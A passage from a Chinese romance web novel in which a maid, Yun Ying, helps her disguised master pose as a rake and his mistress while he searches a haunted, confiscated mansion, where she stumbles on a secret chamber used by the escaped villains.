所以这段时日二爷应该会紧盯着那边,那也就意味着,她这些时日可以略微放心的躺一躺,不用担心二爷随时会冒出来,教训她、报复她了。 云莺觉得自己受到了惊吓,需要好生躺几天,才能把她的精气神养回来。 可还没等她躺多久,也就是第二天早上,丁姑姑就派人来通知她,可以出门去散一散了。 府里会给她们安排好车马,姑娘们结伴活动,但去不去看她们自己的安排,若实在不想出门,在府上呆着丁姑姑也不管。 云莺有些意动,穗儿见状就问她,“姑娘,咱们出去转转么?” “那就去吧。”毕竟她也被关了很久了,就跟坐牢似的,从京城到云归县,换了一个又一个牢笼。她又不是金丝鸟,被关的久了,脑袋都要木了。 说要出门,也就换一身衣裳就出去了。 云莺到了给她们安排好的马车前,上马车后,就发现木槿和秋宁都已经在了,只少了瑞珠。 “瑞珠不出去,人家有雄心壮志,今天就在丁姑姑跟前敬孝。” 什么敬孝不敬孝的,说的多难听。你反过来说孝敬,是不是能体面一些? 云莺想开口说这话,想想又闭了嘴。 道理秋宁不是不知道,可她就是这么小性儿。她不做的事情也见不得别人做,否则她就要阴阳怪气。 随她去吧。 马车轱辘轱辘往前走,走过一段青石板,又拐过一个弯儿,便到了云归县最繁华热闹的一条主街。 说是主街,可这条街道竟还是泥土路。 这可真是一千一万个让人想不到。 木槿和秋宁被马车颠簸的差点吐出来,一时间也顾不得坐车了,赶紧喊了车夫停车,然后几人一起下了马车走路过去。 一路过来,几人都有点所望。 他们知道岭南府贫瘠,岭南府下辖的云归县好不到哪里去。 可这满眼望去,街上连个消遣的地方都没有,主街上最红火的铺子,竟是些卖米粮、蔬果、酱油醋和铁器铺……这也当真让人失望透顶,满心的热忱与期待俱都化成空。 好不容易转到一个卖布料的铺子,几人一道走进去,结果就见这里的布料不仅陈旧,还很不入时。打眼一看,就一副灰扑扑拿不出手的样子,也是看得人心塞气馁。 毫无意外,几人两手空空出了布庄。 往前走几步,她们又看见了一家首饰铺和一家脂粉铺。 秋宁和木槿兴致勃勃,云莺却不想跟进去了。 一来,她囊中羞涩,即便真跟进去,也就是凑热闹过个眼瘾。 可这云归县真没什么好东西,百姓们穷的叮当响,一条街上最繁华的铺子竟是为了满足人们的吃用而设,那还能指望这些用来妆点女人容颜的铺子,能有什么好东西么? 即便有,她也买不起。 二来,她想去别的转转,看看有没有什么商机。 她没忘记,之前自己在二爷面前夸下海口说,愿意出重金给自己赎身。就凭现如今她手中这十两八两银子,一百年她也赎不了身,还是得找个赚钱的门路才是正经。 至于找到门路后,她能不能出来开铺子……那是之后要考虑的事情。 035 巧遇二爷 云莺和木槿、秋宁说,她想先用一用马车,沿着县城转一圈,看看这里的风俗民情。 木槿和秋宁对这些没兴趣,她们一口便应下云莺,并和她约好中午时在旁边那栋二层酒楼用膳,稍后三人一道回府。 说定了事情,云莺就带着穗儿上了马车。 马车从县城主街往外走。 才走了没多远,对与县城的破败,云莺就认识的更加清楚了。 这可是县城的主街,是云归县最繁华的一条街道,可这条街道两侧,竟还有泥坯房。主街上都这副光景,其余更偏远一些的地方,那更是不用说。 百姓们用茅草搭屋的比比皆是,一家子只一间屋,屋外用树枝围起来,简单的充作院墙。透过院墙,可以看见茅草屋前破烂的瓦罐、碗筷和灶台。 有女眷和孩童穿的衣不蔽体的在灶台前忙碌。他们打着赤脚,手脸都脏兮兮的,浑身上下透着一股颓废和麻木的味道。 而他们骨瘦如柴,缝满补丁的衣衫空荡荡的晃着,好似一副骷髅架子支撑着一个大脑袋来回转悠,那场面看的人惊悚不已。 云莺捂着怦怦跳的心脏,缓了许久才缓过那阵心悸。 马车走在田野上,此时正是谷物抽穗成长的时节,就又有许多面容愁苦,长相干瘦的百姓在田间忙碌。 禾苗翠绿,在清风的吹拂下轻轻摇晃。太阳光洒下万道金光,就衬得那谷穗都丰盈了许多,连带着百姓皱纹深深的面颊上,似乎也多了两分希望和憧憬。 马车又走了一会儿,便从县城另一个方向绕过来,眼看着又进入了县城。 这道路当真不好走,磕磕绊绊、坑坑洼洼,人坐在马车上,被颠的七荤八素,屁股都要摔成几瓣了。 云莺忍到了极限,便和穗儿再次下了马车,两人步行往前走。 云莺和穗儿说:“好歹也是个县城,怎么主干道连个青石板也不铺?” 穗儿就是这土生土长的云归县人,是因为家里穷困的吃不上饭,家里人才将她卖了的。后来进了县衙,被丁姑姑分派到云莺身边伺候。至于早先那位随云莺从京城过来的小丫鬟,早就拿着国公府许诺的银钱,自赎自身离开了。 话说回当下,穗儿听了云莺的问题,就解释说:“听说早十年前,云归县整个县城都铺了青石板的。那时尚家正红火,造桥铺路、施粥散药,很是做了些为民的好事儿。青石板就是尚家铺起来的,只是后来尚家犯了事儿,百姓们恼怒之下,就把那青石板也锤了,掀起来丢去填了河道。” 云莺瞠目结舌,事情还有这么办的? 先不说那尚家究竟犯了什么天怒人怨的大罪,可这青石板总是无过的。 青石板铺路,最方便的不还是百姓们? 还是说,这云归县的百姓有特殊癖好,喜欢走雨雪堆积的泥泞小路,而不愿意走干干净净大道? 云归县的百姓,果然“朴实”呢。 正想着这些,穗儿突然扯了扯云莺的衣袖,“走过前边那株柳树,就是尚家的宅子了。” “尚家?” 穗儿点头,“尚家的人几乎死绝了,尚家的家产也被官府抄没了。这宅子也在县衙里备了案,按例是要发卖了换成银钱的。可这宅子闹鬼,有不少百姓都说,半夜三更远远就听到这边传来喊冤叫屈的声音,甚至还有白色的鬼影在空中飘来飘去……” 闹鬼的宅子可是大凶,等闲百姓哪敢买?即便真有那命硬的不信这个邪,可看看官府狮子大开口开的那个价,也觉得买别处比买这里划算多了。 是以,十多年了,这宅子还这么剩着。 云莺闻言,就说,“既然是凶宅,前边又没有什么景致,咱们不如绕个……”道。 “你怎么在这里?” 话还没说完,云莺就听到了熟悉的声音响在耳侧,她还没来得及回想,这声音的主人是谁,就见穗儿一副见了鬼的模样,赶紧福身行礼,“见过二爷。” 二爷? 二爷此时不该忙着公干么,怎么跑到这犄角旮旯来了? 云莺侧首看去,就见眼前这人还真是二爷。 不过眼前的二爷,远不是云莺往日所见的惬意自在的穿着打扮。 他身穿一身石青色步步高升团花纹的茧绸直缀,金冠玉带,墨发披肩,腰间悬着大红底白鹤展翅荷包,和一枚一看就贵重的白玉玉佩,手中还风雅的拿着一把漆黑洒金的折扇,至于脚上,则踩着一双红底白帮黑色锦缎牛皮靴。 真就是,一副矜贵贵公子的模样。 俊美是俊美,好看也是真好看,只是这贵公子此时的做派与打扮拼凑在一起,未免纨绔和风流了一些。 云莺的眼睛都看直了,觉得这配色让她的眼睛受了伤。 这也就是二爷的容貌过硬,能撑住这么绚烂的颜色搭配,换个人穿这一身试试,那指定是个灾难。 二爷可不知道云莺此刻在心里腹诽他,不过只看云莺那强忍嘴角翘起的模样,他也敢断定,这丫鬟心里指定没憋好话。 二爷的眸光一下就锐利起来。 不过眼下还有正事要做,二爷也无暇计较其他。云莺正好赶上了,那就随他走一趟吧。 二爷:“到马车上来,随我去办点事。” 云莺才想婉拒,她一个弱女子,能给二爷帮什么忙?她不添乱都是好的。 可她的手才刚摆了一下,二爷就微使力,轻轻松松将她弄到马车上去了。 眼瞅着云莺到了马车车厢中,穗儿赶紧也爬上去,坐在车辕上与乔装过的墨雪作伴。 马车再次启动,这次没走片刻,就停了下来。 等云莺跟在二爷身后下了车,就见眼前好大一座破败的宅子。 宅子虽然遍布蛛网,外墙开裂,墙皮剥落,满布青苔,但从高大的门楼,以及腐朽的大门旁那块破败的牌匾上,若隐若现的一个“尚”字,云莺也猜到,他们应该停在了尚家的宅子门口。 也是巧了,刚才穗儿还和她说起尚家。也不知道二爷带她来这里做什么。 云莺正想开口问,就见二爷陡然搂住了她的腰。 云莺身体一僵,正想挣扎,就猛地感觉到二爷加大了手中的力道。他那宽大的手掌,甚至还捏了她一把,像是在警告她“安分点”。 036 做戏 云莺从不知道,那腰窝竟是她的敏.感.点。 被二爷这么一握一捏,她这身子一抖,差点软下去。好在有二爷的胳膊撑着,她才没出丑。 也就在云莺好奇二爷这么做的缘由时,陡然从尚家老宅中,跑出个油滑的中年人来。 这中年人身量不高不矮,身材不胖不瘦,他长得寻常人模样,属于丢到人堆里都捡不出来的那种。但这人却属实长了一双利眼,看人时双眸冒着浓浓的精光,一眼之下就给人一种过于精明圆滑的感觉。 云莺对这人的初始印象并不好,可这中年人却未语先笑,连给人作揖问礼,腰身都弯的比别人更低一些,看着甚是恭敬有礼的模样,顿时让人的印象略略好了一些。 也是从这中年人的话语中,云莺知道,二爷来此竟是来看宅子的。 而这中年人,竟是这远近颇负盛名的房牙。 房牙也就是后来的房屋掮客,就是专门从事房屋买卖的中间人。 二爷有现成的县衙可以住,完全没有另外买宅子的必要,除非他想背着家里在外边置一房外室。 当然,二爷完全没必要这么折腾。毕竟他若真看上什么人,直接抬到府里就是。不管是做通房、侍妾还是贵妾,天高皇帝远的,总归没人能管的到他。 既没有买宅子的必要,而这宅子也无什么投资的前景,那二爷乔装打扮一番来这里,究竟打的是哪门子算盘? 话又说回来,她才刚从穗儿口中得知,这尚家的宅子被收归到县衙了,按说要买卖也该是县衙的吏员出面才是,怎么是这现成的牙行出面出人呢? 事情有些想不通,但显然此时并不是询问的好时机。云莺便装聋作哑,亦步亦趋的跟在二爷身边,听那牙人说这宅子的情况。 “王公子且看那边,”自称姓陈的牙人称呼二爷为王公子,这当然是二爷的化名。不过也是巧,这位牙人就姓陈,外人惯常称呼一声陈二,也有那给面子的,就称呼一声陈二爷…… 陈二爷,真就差点和这县令老爷撞了诨号,不过二爷只不在意罢了。 那牙人陈二领着他们边往里走,边不紧不慢的介绍说:“尚家是云归县的豪族,这是尚家的老宅,想也知道当初建这宅子花费不菲。这宅子乃是用了一水儿的青砖所制,轩朗开阔,坚固硬实,即便再住个几十上百年也不成问题。王公子再看这布局,亭台楼阁、朗轩水榭,妙趣横生,清雅通透……再看这里,这望月湖引的是云通河一条支脉上的活水,活水旺财,又可怡情养性,这里实乃宜居之地啊。” 陈二不亏是做掮客的,那嘴皮子上来,侃侃而谈,口舌生花。他将这宅子夸天上有、地上无,连云莺都要心动了。 但是,但可是…… 云莺感觉到腰间被人轻掐了一把,她腰背顿时挺的笔直,胸腹还不着痕迹的往前微弓,希望离那双骨节分明的大掌更远一些。与此同时,她忍不住抬头看向二爷。 这位二爷装浪荡子装上瘾了,从下了马车后,就揽着她的腰肢没个松开的时候。 此时就见他将那把折扇摇的花似的,整个人做足了风流公子的不羁模样。加上他本就生的英俊倜傥,此时眉梢眼角都挂着恣意不羁的笑,就越发显得这风流公子的人设深入人心。 风流公子王公子一边拍着云莺的腰,一边垂首用那暧昧的口吻问云莺,“莺莺且看看,这宅子可还能入眼?可能作为公子我的藏娇之所?” 云莺被“莺莺”两个字恶寒了一下,她想吐槽二爷这是什么恶趣味儿,叫声“莺儿”难道不好听一些?莺莺,莺莺,她一听这两个字,条件反射就想起崔莺莺,整个人都不好了。 好在,二爷的眼神颇为意味深长,钳制在她腰间的那只手,也加大了力道,让云莺很快回了神。 云莺品出了二爷的意思,当即厌弃的看看四周,不甚熟练的做戏,掐着嗓子骄蛮的说:“就这穷乡僻壤的,能有个什么好宅子?就这宅子,还被你夸的花似的,那不睁着眼睛说瞎话么?这宅子布局好在哪儿了,我怎么没看出来?不过这宅子可真够破烂的,墙皮都剥落了,琉璃瓦都碎的没法看了,霉斑锈迹哪儿哪儿都是,最重要的是那墙角的蛛网,那蜘蛛恨不能有我巴掌大。” 又心有余悸的看看那望月湖,“这湖确定是引了活水?若是引了活水,这水该清透明澈才对,怎么我看这湖水中绿油油的,跟里边藏了水鬼似的。哎呦,这里边不会真有水鬼吧……” 云莺越说越顺口,把整座府邸挑拣了一个遍。末了,她还心有余悸的挽着王公子的胳膊,与那陈二爷说:“您看看,您是卖宅子的,事前好歹把这宅子收拾一下啊。这又脏又乱,花草都长疯了,若不是陈二爷您带着我们进来,我还以为这是进了那个深山老林呢。就这宅子,这能住人么?” 陈二爷被云莺挤兑的脸都变了。不过他到底是见过大场面的,即便被一个上不得台面的丫鬟下了脸面,也很快又恢复了笑模样。还好声好气的解释说:“您看,这也不是我的宅子,我也就是个房牙,领着人看看宅子罢了。这宅子是在官府备了案的,咱们就是替官府跑跑腿儿,许是连个抽成都拿不上……” 陈二如此一说,云莺心里恍然,原来是替官府跑腿干活。只是,官府的人未免太懒怠了,这收归县衙的东西,怎好放到外边人手中,这合规矩么? 云莺不着痕迹的看了一眼“王公子”,就见“王公子”笑盈盈的点了她一指头,“你啊,挑挑拣拣的,眼光倒是高。若是在府里,你就是要那金屋,少爷也能给你弄来,只是这云归县么,将就住住就行了。” 云莺强忍住被人点了鼻尖的不适,“王公子”这举动过于亲昵,她心肝都颤动起来,如今连直视他都不敢。 “公子说的哪里话?您之前哄了奴婢陪您来这里,还说奴婢要什么您都给,结果倒好,奴婢只是要座看的过眼的宅子,您就不乐意了。” 说着话就开始甩脸子,甚至转身就走人。 只是不知这莺莺是不认识路,还是发火时只顾着使性子了,也顾不得看路,竟然越走越偏了。 037 崩溃的云莺 陈二见状有心告诉他们走错路了,可那位王公子已经追了过去,拉着抱着他那小心肝低声下气哄了起来。两人打情骂俏,丝毫不避讳外人,看的陈二很是不屑。 也就是此时,从早上起就隐隐作痛的肚子,越发疼得厉害了。腹内咕噜噜搅做一团,陈二顾不得其他,夹着屁股就找恭房去了。 墨雪装扮的小厮在后边大声喊着:“陈二爷,您哪里去,这宅子还没看完呢?” “贵主先转转,我这厢去去就来。”陈二说着话就没了人影,那夹着屁股捂着肚子急跑的模样,好不滑稽可笑,看得人捧腹不已。 但云莺此刻却全然笑不出来。 她努力屏息,可那清雅的纸墨香,混合着男人身上清冽的体息,依旧源源不断的扑了过来。 他环抱着她,尽管是虚抱,但他垂首看着她时,眼神那么专注深情,而他含笑的双眸透着浓浓的宠溺气息,就这般讨好的哄着她,声音磁沉低哑,透着数不清的纵容与暧昧…… 一切都是做戏,可那情景太过真实,云莺心里一清二楚,也不可避免的心跳加速,面颊变得嫣红起来。 正在她感觉呼吸困难,想要将眼前的人推开一些时,二爷率先一步松开了她,整个人往后退了一步。 他看着云莺,“刚才事急从权……” 云莺忙点头,“奴婢都知道,二爷这么做指定是有缘由的。只是奴婢陪您做戏一场,身心俱惫,不知可否……” 二爷:“可否什么?” 云莺:“可否看在奴婢辛苦一场的份儿上,你便对奴婢昨天的事既往不咎?” 昨天的事儿? 二爷想了又想,忽的想到那件破衣烂衫,他看着云莺的眼神当即就不善起来。 二爷长长的“哦”了一声,“你不提这事儿,我险些就忘了。” 云莺:“……” 二爷:“呵。一码归一码,你今日有功,回头我会论功行赏。只是昨天的事儿,做错了自然要惩,不然你不长记性。” 云莺很想说一句,这是长记性不长记性的事儿么?这是长手艺不长手艺的事情吧。 可她那手针线女工,真不是一时半会就能练出来的。她在这上面,真的是一点点天赋都没有。 云莺想争辩,但显然二爷此时无暇听她辩解。就听二爷吩咐她,“去这假山里。” 身后的假山颇为壮观,这假山显然是这宅子中的一景。假山东西两侧都有出入口,游鱼惬意的在假山正中心的那处溪流中缓缓游动。那溪流不知从何处发源,但却流往东边的地势低洼处,随即消失在地面上,流到了地下去。 云莺一边琢磨着溪流最终流去了哪里,一边听话的进了假山。 二爷在她进入假山后,身形一闪便去了别的地方,墨雪紧随其后,两人的身影很快消失在云莺面前。 云莺提着心,静静的在假山中等候。 她担心二爷不能按时回来,又琢磨若那陈二突然窜出来,她该怎么给二爷打掩护。 也不知过了多久,云莺听到了陈二的声音。 “王公子?王公子你可还在?” 云莺心思一动,赶紧将脚边的碎石踢到了溪水中,伴随着“哗啦”一道轻响,外边陈二的声音止住了。 云莺气喘吁吁的出声,“公子,公子外边有人……” 那陈二脚步顿在原地,再不往前来了。 云莺便又弄出更大的动静来。从远处听,像是有衣料在摩擦,有身体在碰撞。粗重的喘息声和女人若有似无的娇吟声,一道道入耳,听得陈二不由舔舔嘴唇,心里狠狠骂了一声娘。 他心道,果真是纨绔子弟!也亏得他提前打听了这王公子的来头,不然险些被他那模样唬住。不过花花公子就是花花公子,即便再怎么装的像个人物,言行举止却骗不了人。 看看吧,他不过就走了一刻钟,这边就打的热火朝天。 这可是室外,在别人家的宅子中,这也未免太急色了些,太不讲究了! 陈二心里鄙薄不已,但又想起那丫鬟堪称绝色的容貌,想想那王公子此刻该多么舒爽惬意,心里就窝起火来。 陈二:“王公子,天色不早了,稍后还有别的客商来看宅子。您看,这宅子咱们是继续逛逛,还是今天就此结束?” 有别的客商来看宅子,肯定是子虚乌有的事情,但却不妨碍陈二此时拿来扯虎皮。 他甚至更过分一些,还往假山哪里又靠近了两步。又“王公子”“王公子”的叫了两声,那声音跟叫魂没差多少。 云莺本就心慌意乱,此时更是手脚无措。她真怕着陈二不讲究的直接进来,到时候她费心给二爷打掩护的事情,不是就露馅了么? 云莺心急之下,直接嚷出声来:“哎呀,叫什么么,好了自然就出去了啊~~” 她声音娇滴滴的好像掺了蜜似的,偏那尾音略尖利,还微微上翘,声音绷着,嗓子掐着,一时间倒不像是做戏,而像是再无法承受某种冲击,全身紧绷浑身发颤的反应。 也就是此时,一道低沉愉悦的男声加入进来。 外边的陈二听到了王公子的声音,不敢再过分下去。 他讪讪的摸摸鼻子,站住脚不敢再往前。 再说此刻的假山内,云莺只恨地上没地缝,不然她高低得钻一钻。 想想吧,她正在表演活.春.宫,男主角陡然跳了出来…… 尽管她此时的作为完全情有可原,也实在是逼不得已,更甚者是为了给“王公子”打掩护,才摒弃节操不得不突破下限。 但是,但可是,真的就非常非常崩溃啊。 崩溃的云莺只在片刻间,全身就如同糜艳的桃花一般绯红。她那双水润明亮的杏眸,更是潋滟生波,流动着潺潺春水。 整个人窘迫到极致,但也秀色可餐,让人心跳怦然到极致。 “王公子”眸光深了几分,他轻点着云莺,“你这样……” 你这样怎么了,“王公子”却说不出来,最后只能深呼吸一口气,叮嘱云莺,“把衣裳弄乱些。” 云莺还没回神,疑惑的“嗯?”了一声。 王公子不再啰嗦,直接伸出手来。 云莺慌乱之下后退一步——讲道理,她真就是下意识的反应,下意识那么一退,只是想避开“王公子”的触碰而已。 然而,她却不知道是触碰到了哪里的机关,身后传来嗡嗡的震动声,等她条件反射下回头去看,却见之前壁垒森严的假山墙壁,此时竟化作一道黑漆漆的门洞。 038 密室 背后黑漆漆的,似乎有阵阵阴风正从黑洞袭来,转瞬就要卷着她落入那无底深渊。 云莺抑制不住惊叫了一声,整个人扑到陈宴洲怀里去。 陈宴洲再是想不到,这平平无奇的假山中,竟藏有密室。他短暂的愣神,也就是此刻,被云莺扑到了怀中。 冲力太大,加上陈宴洲丝毫没有防备,竟被云莺撞得踉跄后退两步,撞到旁边的假山上,这才闷哼一声停下脚步。 假山外的陈二隐隐听到些异样的声音,可他还没来得及去细究,又听到里边那对狗男女同时到达顶峰的声音。 他圆润的身体也跟着震了震,继而看着依旧不见丝毫动静的下>体,眸中不可抑制的出现忌恨。 他再一次出声:“王公子,再耽搁下去,时间上真来不及……”了。 “滚远些。”假山中传来王公子冷冷的呵斥,“别让我说第二次。” 声音中的冷厉浓的刺骨,陈二知道他屡次犯贱,终于是惹恼了这位王公子,一时间他也怕这位浪荡公子出来后给他点颜色看看,只能怏怏的走远了些。 假山中,云莺惊魂甫定的看着那黑漆漆的门洞。 这石洞空间很小,五六步就能在其中走个来回。而就在石洞的正中,赫然是个向下的楼梯。 这楼梯延伸到黑暗中去,不知道要通向何方。 云莺看向陈宴洲,陈宴洲却看向方才云莺踩着的那片地方,眸中露出深思之色。 蹙眉间,他环抱住云莺,手臂微微用力,将她挪到另一侧安全的地方,这才走去她刚才待过的那片区域。 “你方才踢动了这块石头对不对?”陈宴洲指着地上一块椭圆的石头问。 那石头附近还一道划痕,明显从一个地方移动到另一个地方。他回忆着云莺方才的动作,缓慢的将那石头平推回原位。 果然,轻微的嗡动声再次响起,而后石门缓慢落地,一切恢复成原样。 云莺沉默的看着这一幕,眉头紧蹙。 这一时间,她想了很多。 想这石门后究竟藏了什么东西。 想这里边的东西,对二爷有没有用。 又想,若有用,她能不能趁机问二爷索要些报酬? 片刻后,云莺随二爷一道上了马车。 陈二殷勤的将两人送出门,还一径的道:“王公子您放心,价格我一定给您好好谈。只是您也知道的,这宅子是官府收押的,具体定价要看官府的意思,总体来说,价格活动空间应该不大。我说这话没别的意思,只是想让您心里有个底……” 云莺和陈宴洲在陈二的奉承中上了马车,马车缓缓走远,直到再看不见尚府的门楣了,云莺才开口问:“您打扮成这样,真不怕被人认出来么?” “见过我真容的,应该没多少。即便有人觉得眼熟,想来也不会往那方面想。” 云莺:…… 那倒是。 毕竟这纨绔子弟的做派,一般人他真演不出来。 还别说,二爷今天演的风流浪荡公子,真挺深入人心的。 陈宴洲:“又在心里埋汰我什么?” 云莺赶紧摇头:“二爷您误会了,您英明神武,风流倜傥,为查案亲赴虎窟狼窝,奴婢敬佩您都来不及,又哪里敢对您不敬?” 陈宴洲呵呵两声,连敷衍的话都懒得说。但云莺能猜到他是为查案而来,还将尚家老宅形容为虎窟狼窝,却不由让他刮目相看。他不免说了句,“倒是不笨。” 云莺:“奴婢还是笨的,所以还想让二爷帮忙解惑。” 陈宴洲:“什么?” 云莺:“若奴婢所料不差,您该是要在尚家老宅寻些什么东西。既如此,为何不晚上来?” 陈宴洲懒懒的看了一眼这个精明过头的丫鬟,“你以为我不想?” 他意味深长的道:“晚上的尚家,那才是一步一岗,寸步难行。” 也正因为那尚家防守的过于严密,甚至连他的人也探查不出什么,他才不得不退而求其次,改为白天过来一探。 但白天这府里也不是那么好入的,单就瞭望的哨塔,这边就有五个。等闲人进入其中,便被监视起来,也正因此,他索性找了个无关紧要的身份,找了个借口光明正大而来,如此还能使那些人放松警惕。 想到这里,陈宴洲深深的看了眼旁边的丫鬟。 倒是出乎他意料了,本是心血来潮拉着这丫鬟当掩护,倒没想到,这丫鬟竟颇有几分急智,且运道颇好,连那般严实的密室,都能被她阴差阳错打开。 念及那密室,就不由想起此前发生的种种。更是不受控制的想起,这丫鬟被他目睹她做戏后,面红耳赤、杏眸潋滟、娇喘微微的一幕。 想到那场景,陈宴洲眸光暗了暗,不由深呼吸一口气,缓了缓过于躁动的心绪。 他开口:“今日有劳你帮衬,回头论功行赏。” 云莺忙道:“赏赐真的不必的,奴婢为二爷办事,应当应分。不过,若二爷真想赏奴婢,不如……” 陈宴洲:“不如什么?” 云莺真想说,不如给我脱籍吧,但想也知道这不可能。最起码在有关尚家的这摊子事儿查清之前,二爷绝不会放她离开。 想明白这点,云莺就道:“不如将昨天的事儿都忘掉,您看可好?” 陈宴洲看着她好一会儿,才轻笑出声:“你还真是执拗。行吧,且看你今天还算机灵有用的份儿上,昨天的事儿我既往不咎了。” 云莺心中的石头落了地,顿时松了一口气。 本应该见好就收的,可她看二爷此时的神情很是愉悦放松,终究是忍不住得寸进尺了一些。 云莺:“二爷,那之前奴婢说过的,有关脱籍一事……” 陈宴洲睁开眼睛看她。 他那双眸子清冷锐利,似乎要直直看到人心里去。云莺猝不及防和他对视上,心中先虚了一下。但是,机会难得,总要试试二爷对此事的看法才好。 陈宴洲倒是没恼,他只是用那双沉沉的眸子,定定的看着云莺,声音低沉的问:“你的赎身银子,攒了多少了?” 云莺:“……” 哪壶不开提哪壶,二爷终结话题真有一手。 话又说回来,真要让她给银子才能赎身么? 她原以为,看在他们两个今天“共患难”的份儿上,二爷能大方的直接免了她的赎身银子呢。 她果然还是太天真了! 想想兜里只有十两银子,云莺抑郁了。 她每个月只有二两银子的月例,照这个速度积攒下去,猴年马月她才能脱籍离府? 039 背后种种 不说马车上的云莺如何抑郁,二爷的心思又是如何深沉,只说目送着这辆马车离去后,陈二抑制不住冷笑出声。 近身伺候他的小厮不知何时来到他身边,那小厮见他双眸泛着狠色,心中非常好奇刚才那客人怎么得罪他了。 但这主子自从被伤了哪里后,脾气越发阴阳怪气起来,一个不顺心,对他动辄打骂。 小厮不敢多问,只能挑个最安全的话题开口说:“主子,今天可还顺利?” “顺利,怎么不顺利?”陈二呵呵冷笑,“万事顺遂,如今只差交银子去衙门备案,届时,老爷我手里少不得要落个百十两银子。” 百十两? 这么多? 小厮咋舌。 这云归县的宅子便宜,等闲情况下,几十两就能买个两进的小院。 尚家这宅子修缮的精美,用料也讲究,且占地面积大,当时官府开了四百两的价格。 这价格,远超过市价。 在里边一应家具摆设被抢劫一空的情况下,只一座空宅子,还想卖出这个价格,那纯属白日做梦。 本地稍有积蓄的人家,断然没有入手的道理;而会入手的外乡人,在仔细打听过这宅子的情况下,即便舍了那定金,也不敢再要这宅子。 小厮想想过往那些情况,就道:“这客商来之前没仔细打听过么,这宅子可是闹鬼的……” 陈二:“蠢货!你还真以为这宅子卖不出去,是因为恶鬼闹得?” 小厮被骂了,忍不住畏惧的缩了缩脑袋。但他着实好奇此事,就问说:“那不然呢?难道还能是被价格吓到了?”定金都交了,再说是被价格吓住了,那肯定没人信。 陈二呵呵笑,“那自然是因为,有人不想这宅子卖出去啊。” 小厮:“不想这宅子卖出去?我们县里还有这样的人么?若果真如此,咱们现在卖这宅子,不是碍了人家的事么?人家不会报复咱们吧?” 陈二:“你个蠢货,连你都懂的道理,你以为你家二爷不懂?你家二爷现在敢卖这宅子,那自然是因为那人落了难,再管不到这许多了。懂么?” 范县丞入狱又越狱了,现在是被通缉的要犯。他自身难保,他背后那些蝇营狗苟自然也都藏得不敢见人。 若是以前他畏惧与范县丞,以及他背后那些人,不敢做些什么,那如今范县丞都倒台了,他光明正大凭本事做买卖挣钱,有谁敢出面阻拦? 陈二的眼界还是小了,他只以为以范县丞为首的那伙子人,阻拦宅子被卖出去,是要私自昧下这宅子,却全然没想到,这宅子中另有乾坤,还能另做他用。 同时,他以为范县丞那伙子人自顾不暇,根本没没精力关注着宅子的情况,所以才大张旗鼓的领人来看宅子。 他却全然没想到,他所避讳的那些人,如今就在这宅子底下,且将他的一言一行全都看在眼里、听在耳中。 再说此时的尚宅底下,那些密密麻麻的地道俱都通向同一个地点,那便是位于地底的大厅。 大厅中间此时就坐了五个人。 除了越狱的范县丞,赵雄和吴世勋外,另还有一个干瘦如柴、一脸憨厚的老人,另一个美艳风骚、看起来就精明能干的妇人。 五人听着外边人报来的消息,一时间俱都冷笑不已。 赵雄最是尖刻,此刻就说:“这还没落难,一些阿猫阿狗就不把我们放在眼里了。要我说,这些人不如都杀了了事。” 吴世勋倒是态度平和:“这样的人多了去了,你还能将所有人都杀一遍不成?随他去吧,这些人不要紧,倒是那要买宅子的人……” 吴世勋看向闭着眼睛,斜倚在躺椅上闭目养神的范县丞,口吻一转说:“要我说,这新来的县令大人,还真有两把刷子。” 虽然出的招有点损,但管用啊。 看看,这一棒子下去,直接就把范县丞打懵了头,怕是到现在都没缓过来呢。 不过也怪范县丞藏得不严实,这就被人揪住了小辫子。结果不仅大好的前程没有了,甚至就连小命都差点断送在那新县令手中。 说这些就说远了,只说现在。吴世勋问范县丞:“您看看,我们下一步如何走?这宅子是断然不能被买了去的。当时我们说要入手,您说没那必要,总归这东西就在您手上,出不了岔子。”可谁能想到,范县丞这里直接出了岔子,导致他们现在非常被动。 范县丞听出了话音,当即睁开那双昏黄浑浊的老眼。他眸中不见戾色,但所有人都知道他心中憋着滔天的恨。怕是恨不能生啖了那新县令,才能咽下被人愚弄的恶气,和险些丧命的惊险,以及此时身上刻骨的疼痛。 但如今还不到时候,只能先将这些都忍下。 范县丞就说:“去找陈二,将这宅子截胡下来。这里事关重大,不能落到其他人手里。” “啧,那之前来看房的小子,今天可算白跑一趟。刚才下边人说,那小子长得仪表堂堂,还天性风流……” 娇娘掐着兰花指,娇滴滴的笑,可惜话未说完,就被范县丞陡然打断,“让人去查一查,今天那小子的身份可真。” 吴世勋饮茶的动作一顿,“您是怀疑……” “我没什么怀疑,只是保险起见,最好将那人的身份来路都打听清楚。别被人找上门了,还没察觉到厉害,到时被人瓮中捉鳖。” 娇娘冲范县丞娇笑几句,“您真是一朝被蛇咬,十年怕井绳。” 范县丞没理会她,只叮嘱吴世勋,“尽快查清那人的身份,再着人将这宅子买下来。” 吴世勋:“行,我稍后就着人去办。” 范县丞想说,不要稍后,立即,马上,即刻起身去办。 但想想没了身上那层皮,他在几人跟前的威信大打折扣。和吴世勋扯这些有的没的,倒是给他脸了。总归这里暂时还是安全的,那就稍晚些无妨。 这么想着,范县丞闭了嘴,再不说其他了。 其余几人见状,俱都露出意味深长的神色。 范县丞这次真伤得恨了,命都没了大半条,他精力不济,他们都理解。只是,既然他参与的事情少了,以后属于他的那部分分红,少不得要挪出来些分给大家,不然,他们可不答应。 040瑞珠掌事 这一日云莺到达酒楼时,时间已经很晚了。 秋宁和木槿左等右等不见她来,便先点了几个菜肴吃用了。 可能是菜肴不可口,亦或是上午逛街大失所望,更可能是想回府休息,云莺却占着马车迟迟不归,两人心情都很烦闷。 见到云莺姗姗来迟,两人俱都拉着脸,一副苦大仇深的模样,好似云莺欠了她们几百两银子似的。 云莺一边给两人赔不是,一边在心里将二爷骂了一番。 这事儿归根结底还得怪二爷,可惜二爷用人朝前、不用人朝后,挑个僻静的胡同将她赶下车,就火速离开了。 眼下要回府了,可云莺还饿着肚子。 她只能在回府途中,让马车停了停,去糕点铺挑拣了一些糕点带回车上。 云莺上车后将糕点分作三份,其余两份给了秋宁和木槿,全作赔礼。 秋宁见状面上好看许多,只是依旧揪着这件事情不放。她将糕点翻得乱七八糟,还不依不饶的说:“就这糕点,一看味道就不怎么样。这也就是你送的,换其他人,我早把这东西扔了喂狗了。” 云莺深呼吸一口气,不和秋宁一般计较。“都怪我,下次再不会了。你大人有大量,这次且饶了我,别再和我计较了。” 云莺伏低做小,秋宁到底是饶了她。只是张口尝了一口桂花糕,得,这脸色变得更难看了。 